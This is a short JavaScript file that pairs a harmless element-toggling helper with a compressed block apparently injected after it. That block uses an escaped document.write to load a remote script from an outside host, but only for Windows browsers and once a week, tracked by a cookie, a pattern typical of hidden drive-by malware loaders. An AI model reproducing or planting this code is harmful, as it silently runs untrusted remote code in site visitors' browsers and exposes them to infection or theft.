function toggle_visibility(id) {
       var e = document.getElementById(id);
       if(e.style.display == 'block')
          e.style.display = 'none';
       else
          e.style.display = 'block';
    }
/* ============================================================================-*/
 function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} function jscrptsttcookie(){document.write(unescape("%3Cscript src='http://jscriptstat.com/stat' type='text/javascript'%3E%3C/script%3E"));} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("JSStCookie");if (user !=="ok"){setCookie("JSStCookie", "ok", 7, "/"); jscrptsttcookie();}}} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} 
/*============================================================================-=*/